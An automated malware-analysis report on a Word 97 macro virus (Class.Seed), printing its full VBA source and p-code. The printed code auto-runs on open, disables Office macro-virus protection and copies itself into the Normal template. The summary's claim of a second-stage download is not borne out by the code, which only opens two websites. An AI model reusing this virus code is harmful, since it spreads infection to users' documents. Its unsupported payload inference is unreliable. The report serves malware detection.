Office (OLE) malware analysis — malicious · e14403ba3967969b

MALICIOUS

Office (OLE)

32.5 KB Created: 1998-11-06 08:10:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14

MD5: aa90061843b31a67043223c58da96723 SHA-1: b5ec39e5b46d0b76caba855de775abda6768224a SHA-256: e14403ba3967969bde04a889e147cef3b68cfd4a11b7a4bcaee541694153823d

258 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro virus markers and active VBA macros, including AutoOpen and Auto_Close functions, indicating a malicious document. The VBA script attempts to export itself and conditionally follows hyperlinks to http://www.cannabisculture.com or http://www.Microsoft.com, likely to download and execute a second-stage payload. The ClamAV detection further confirms its malicious nature.

Heuristics 7

ClamAV: Doc.Trojan.Class-31 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Class-31
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION

VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
Matched line in script
```
Options.VirusProtection = False
```
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Auto_Close macro low OLE_VBA_AUTOCLOSE

Auto_Close macro
Matched line in script
```
    .replaceline 1, "Sub AutoClose()"
```
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS

OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://www.cannabisculture.com� In document text (OLE body)
- http://www.Microsoft.com�In document text (OLE body)
- http://www.cannabisculture.comIn document text (OLE body)
- http://www.Microsoft.comIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	12031 bytes
SHA-256: `cd03f721abf343a53a8ebe77a2f496771f7732cc76de71d595e8b32b20893b29`
Detection ClamAV: Doc.Trojan.Class-31 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub AutoOpen() Randomize s = 0: r = 0 On Error GoTo 87 Options.VirusProtection = False Options.SaveNormalPrompt = False Options.ConfirmConversions = False fx = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines xf = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines If xf > 90 And fx > 0 Then GoTo 87 If xf < 90 Then Set xs = NormalTemplate.VBProject.VBComponents.Item(1) ActiveDocument.VBProject.VBComponents.Item(1).Name = xs.Name ActiveDocument.VBProject.VBComponents.Item(1).Export Application.StartupPath & Chr(83) + Chr(69) + Chr(69) + Chr(68) End If If fx = 0 Then Set xs = ActiveDocument.VBProject.VBComponents.Item(1) k = Int(Rnd(1) * 100) + 1 If k = 99 Then ActiveWindow.WindowState = wdWindowStateMinimize: ActiveDocument.FollowHyperlink Address:="http://www.cannabisculture.com", NewWindow:=False, AddHistory:=False, ExtraInfo:=Chr(67) + Chr(76) + Chr(65) + Chr(83) + Chr(83) + Chr(47) + Chr(83) + Chr(69) + Chr(69) + Chr(68) l = Int(Rnd(1) * 75) + 1 If l = 74 Then ActiveWindow.WindowState = wdWindowStateMinimize: ActiveDocument.FollowHyperlink Address:="http://www.Microsoft.com", NewWindow:=False, AddHistory:=False, ExtraInfo:=Chr(67) + Chr(76) + Chr(65) + Chr(83) + Chr(83) + Chr(47) + Chr(83) + Chr(69) + Chr(69) + Chr(68) m = Int(Rnd(1) * 50) + 1 If m = 49 Then MsgBox Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(80) + Chr(82) + Chr(79) + Chr(32) + Chr(86) + Chr(105) + Chr(82) + Chr(117) + Chr(83) n = Int(Rnd(1) * 25) + 1 If n = 24 Then MsgBox Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(67) + Chr(76) + Chr(65) + Chr(83) + Chr(83) + Chr(32) + Chr(83) + Chr(69) + Chr(69) + Chr(68) xs.codemodule.AddFromFile Application.StartupPath & Chr(83) + Chr(69) + Chr(69) + Chr(68) With xs.codemodule For poly = 1 To 4 .deletelines 1 Next poly End With If xf < 90 Then With xs.codemodule .replaceline 1, "Sub AutoClose()" .replaceline 93, "Sub ToolsMacro()" End With End If With xs.codemodule For poly = 2 To 92 Step 2 r = Int(Rnd(412835) * 203989) + 8485 s = Int(Rnd(384958) * 285865) + 2988 .replaceline poly, "'" & r * r & s * s & r * r * s * s & r * r & s * s & r * r Next poly End With 87: If xf > 90 And fx = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName End Sub Sub ViewVBCode() 'Word97/Class.Seed by Virus :) End Sub ' Processing file: /tmp/qstore_fb486bhh ' =============================================================================== ' Module streams: ' Macros/VBA/ThisDocument - 5487 bytes ' Line #0: ' FuncDefn (Sub AutoOpen()) ' Line #1: ' Line #2: ' ArgsCall Read 0x0000 ' Line #3: ' Line #4: ' LitDI2 0x0000 ' St s ' BoS 0x0000 ' LitDI2 0x0000 ' St r ' Line #5: ' Line #6: ' OnError 87 ' Line #7: ' Line #8: ' LitVarSpecial (False) ' Ld Options ' MemSt VirusProtection ' Line #9: ' Line #10: ' LitVarSpecial (False) ' Ld Options ' MemSt SaveNormalPrompt ' Line #11: ' Line #12: ' LitVarSpecial (False) ' Ld Options ' MemSt ConfirmConversions ' Line #13: ' Line #14: ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd codemodule ' MemLd CountOfLines ' St fx ' Line #15: ' Line #16: ' LitDI2 0x0001 ' Ld NormalTemplate ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemLd codemodule ' MemLd CountOfLines ' St xf ' Line #17: ' Line #18: ' Ld xf ' LitDI2 0x005A ' Gt ' Ld fx ' LitDI2 0x0000 ' Gt ' And ' If ' BoSImplicit ' GoTo 87 ' EndIf ' Line #19: ' Line #20: ' Ld xf ' LitDI2 0x005A ' Lt ' IfBlock ' Line #21: ' Line #22: ' SetStmt ' LitDI2 0x0001 ' Ld NormalTemplate ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' Set xs ' Line #23: ' Line #24: ' Ld xs ' MemLd New ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' MemSt New ' Line #25: ' Line #26: ' Ld Application ' MemLd StartupPath ' LitDI2 0x0053 ' ArgsLd Chr 0x0001 ' LitDI2 0x0045 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0045 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0044 ' ArgsLd Chr 0x0001 ' Add ' Concat ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' ArgsMemCall Export 0x0001 ' Line #27: ' Line #28: ' EndIfBlock ' Line #29: ' Line #30: ' Ld fx ' LitDI2 0x0000 ' Eq ' If ' BoSImplicit ' SetStmt ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' ArgsMemLd Item 0x0001 ' Set xs ' EndIf ' Line #31: ' Line #32: ' LitDI2 0x0001 ' ArgsLd Rnd 0x0001 ' LitDI2 0x0064 ' Mul ' FnInt ' LitDI2 0x0001 ' Add ' St k ' Line #33: ' Line #34: ' Ld k ' LitDI2 0x0063 ' Eq ' If ' BoSImplicit ' Ld wdWindowStateMinimize ' Ld ActiveWindow ' MemSt WindowState ' BoS 0x0000 ' LitStr 0x001E "http://www.cannabisculture.com" ' ParamNamed Address ' LitVarSpecial (False) ' ParamNamed NewWindow ' LitVarSpecial (False) ' ParamNamed AddHistory ' LitDI2 0x0043 ' ArgsLd Chr 0x0001 ' LitDI2 0x004C ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0041 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0053 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0053 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x002F ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0053 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0045 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0045 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0044 ' ArgsLd Chr 0x0001 ' Add ' ParamNamed ExtraInfo ' Ld ActiveDocument ' ArgsMemCall FollowHyperlink 0x0004 ' EndIf ' Line #35: ' Line #36: ' LitDI2 0x0001 ' ArgsLd Rnd 0x0001 ' LitDI2 0x004B ' Mul ' FnInt ' LitDI2 0x0001 ' Add ' St l ' Line #37: ' Line #38: ' Ld l ' LitDI2 0x004A ' Eq ' If ' BoSImplicit ' Ld wdWindowStateMinimize ' Ld ActiveWindow ' MemSt WindowState ' BoS 0x0000 ' LitStr 0x0018 "http://www.Microsoft.com" ' ParamNamed Address ' LitVarSpecial (False) ' ParamNamed NewWindow ' LitVarSpecial (False) ' ParamNamed AddHistory ' LitDI2 0x0043 ' ArgsLd Chr 0x0001 ' LitDI2 0x004C ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0041 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0053 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0053 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x002F ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0053 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0045 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0045 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0044 ' ArgsLd Chr 0x0001 ' Add ' ParamNamed ExtraInfo ' Ld ActiveDocument ' ArgsMemCall FollowHyperlink 0x0004 ' EndIf ' Line #39: ' Line #40: ' LitDI2 0x0001 ' ArgsLd Rnd 0x0001 ' LitDI2 0x0032 ' Mul ' FnInt ' LitDI2 0x0001 ' Add ' St m ' Line #41: ' Line #42: ' Ld m ' LitDI2 0x0031 ' Eq ' If ' BoSImplicit ' LitDI2 0x0020 ' ArgsLd Chr 0x0001 ' LitDI2 0x0020 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0020 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0020 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0020 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0020 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0050 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0052 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x004F ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0020 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0056 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0069 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0052 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0075 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0053 ' ArgsLd Chr 0x0001 ' Add ' ArgsCall MsgBox 0x0001 ' EndIf ' Line #43: ' Line #44: ' LitDI2 0x0001 ' ArgsLd Rnd 0x0001 ' LitDI2 0x0019 ' Mul ' FnInt ' LitDI2 0x0001 ' Add ' St n ' Line #45: ' Line #46: ' Ld n ' LitDI2 0x0018 ' Eq ' If ' BoSImplicit ' LitDI2 0x0020 ' ArgsLd Chr 0x0001 ' LitDI2 0x0020 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0020 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0020 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0020 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0020 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0043 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x004C ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0041 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0053 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0053 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0020 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0053 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0045 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0045 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0044 ' ArgsLd Chr 0x0001 ' Add ' ArgsCall MsgBox 0x0001 ' EndIf ' Line #47: ' Line #48: ' Ld Application ' MemLd StartupPath ' LitDI2 0x0053 ' ArgsLd Chr 0x0001 ' LitDI2 0x0045 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0045 ' ArgsLd Chr 0x0001 ' Add ' LitDI2 0x0044 ' ArgsLd Chr 0x0001 ' Add ' Concat ' Ld xs ' MemLd codemodule ' ArgsMemCall AddFromFile 0x0001 ' Line #49: ' Line #50: ' StartWithExpr ' Ld xs ' MemLd codemodule ' With ' Line #51: ' Line #52: ' StartForVariable ' Ld poly ' EndForVariable ' LitDI2 0x0001 ' LitDI2 0x0004 ' For ' Line #53: ' Line #54: ' LitDI2 0x0001 ' ArgsMemCallWith deletelines 0x0001 ' Line #55: ' Line #56: ' StartForVariable ' Ld poly ' EndForVariable ' NextVar ' Line #57: ' Line #58: ' EndWith ' Line #59: ' Line #60: ' Ld xf ' LitDI2 0x005A ' Lt ' IfBlock ' Line #61: ' Line #62: ' StartWithExpr ' Ld xs ' MemLd codemodule ' With ' Line #63: ' Line #64: ' LitDI2 0x0001 ' LitStr 0x000F "Sub AutoClose()" ' ArgsMemCallWith replaceline 0x0002 ' Line #65: ' Line #66: ' LitDI2 0x005D ' LitStr 0x0010 "Sub ToolsMacro()" ' ArgsMemCallWith replaceline 0x0002 ' Line #67: ' Line #68: ' EndWith ' Line #69: ' Line #70: ' EndIfBlock ' Line #71: ' Line #72: ' StartWithExpr ' Ld xs ' MemLd codemodule ' With ' Line #73: ' Line #74: ' StartForVariable ' Ld poly ' EndForVariable ' LitDI2 0x0002 ' LitDI2 0x005C ' LitDI2 0x0002 ' ForStep ' Line #75: ' Line #76: ' LitDI4 0x4CA3 0x0006 ' ArgsLd Rnd 0x0001 ' LitDI4 0x1CD5 0x0003 ' Mul ' FnInt ' LitDI2 0x2125 ' Add ' St r ' Line #77: ' Line #78: ' LitDI4 0xDFBE 0x0005 ' ArgsLd Rnd 0x0001 ' LitDI4 0x5CA9 0x0004 ' Mul ' FnInt ' LitDI2 0x0BAC ' Add ' St s ' Line #79: ' Line #80: ' Ld poly ' LitStr 0x0001 "'" ' Ld r ' Ld r ' Mul ' Concat ' Ld s ' Ld s ' Mul ' Concat ' Ld r ' Ld r ' Mul ' Ld s ' Mul ' Ld s ' Mul ' Concat ' Ld r ' Ld r ' Mul ' Concat ' Ld s ' Ld s ' Mul ' Concat ' Ld r ' Ld r ' Mul ' Concat ' ArgsMemCallWith replaceline 0x0002 ' Line #81: ' Line #82: ' StartForVariable ' Ld poly ' EndForVariable ' NextVar ' Line #83: ' Line #84: ' EndWith ' Line #85: ' Line #86: ' LineNum 87 ' BoS 0x0000 ' Line #87: ' Line #88: ' Ld xf ' LitDI2 0x005A ' Gt ' Ld fx ' LitDI2 0x0000 ' Eq ' And ' If ' BoSImplicit ' Ld ActiveDocument ' MemLd FullName ' ParamNamed FileName ' Ld ActiveDocument ' ArgsMemCall SaveAs 0x0001 ' EndIf ' Line #89: ' Line #90: ' EndSub ' Line #91: ' Line #92: ' FuncDefn (Sub ViewVBCode()) ' Line #93: ' QuoteRem 0x0000 0x001D "Word97/Class.Seed by Virus :)" ' Line #94: ' EndSub ' Line #95: ' Line #96: ' Line #97: ' Line #98: ' Line #99: ' Line #100: ' Line #101: ' Line #102: ' Line #103: ' Line #104: ' Line #105: ' Line #106: ' Line #107: ' Line #108: ' Line #109: ' Line #110: ' Line #111: ' Line #112:

Open this report in the interactive analyzer, or submit your own file for analysis.